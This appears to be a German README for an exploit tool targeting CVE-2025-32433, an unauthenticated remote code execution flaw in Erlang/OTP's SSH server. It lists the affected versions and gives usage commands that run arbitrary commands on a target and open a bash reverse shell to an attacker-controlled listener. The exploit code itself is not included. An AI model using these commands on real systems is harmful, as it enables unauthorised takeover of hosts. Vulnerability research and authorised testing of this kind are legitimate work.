CVE-2025-32433 Erlang/OTP SSH RCE EXP

Beschreibung

Eine schwerwiegende Sicherheitslücke wurde im Erlang/OTP SSH-Server identifiziert, die es einem Angreifer ermöglichen könnte, eine nicht authentifizierte Remote-Codeausführung (RCE) durchzuführen. Durch Ausnutzung eines Fehlers in der Behandlung von SSH-Protokollnachrichten könnte ein böswilliger Akteur unbefugten Zugriff auf betroffene Systeme erlangen und ohne gültige Anmeldeinformationen beliebige Befehle ausführen. Dies könnte zur Kompromittierung dieser Hosts führen, was unbefugten Zugriff auf und Manipulation sensibler Daten durch Dritte oder Denial-of-Service-Angriffe ermöglicht.

Betroffene Versionen

OTP-27.3.2 und früher
OTP-26.2.5.10 und früher
OTP-25.3.2.19 und früher

Funktionen

Exploit-Ausführung: Beliebige Befehle ausführen.
Reverse Shell: Eine bash-basierte Reverse-Shell initiieren.

Verwendung

Befehl ausführen:

cve-2025-32433.exe 127.0.0.1 -c 'id'
./cve-2025-32433.lnx 127.0.0.1 -c 'id'

Reverse-Shell initiieren:

cve-2025-32433.exe 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
./cve-2025-32433.lnx 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444

CVE-2025-32433

Referenzen

GitHub Advisory

NVD CVE-2025-32433

Platform Security

https://github.com/omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC

Haftungsausschluss

Die Verwendung dieses Tools setzt die Einhaltung der einschlägigen Gesetze und Vorschriften voraus. Stellen Sie sicher, dass Tests und Nutzung nur in autorisierten Umgebungen erfolgen.
Dieses Tool dient ausschließlich Bildungs- und Forschungszwecken. Jeglicher Missbrauch liegt in der alleinigen Verantwortung des Benutzers.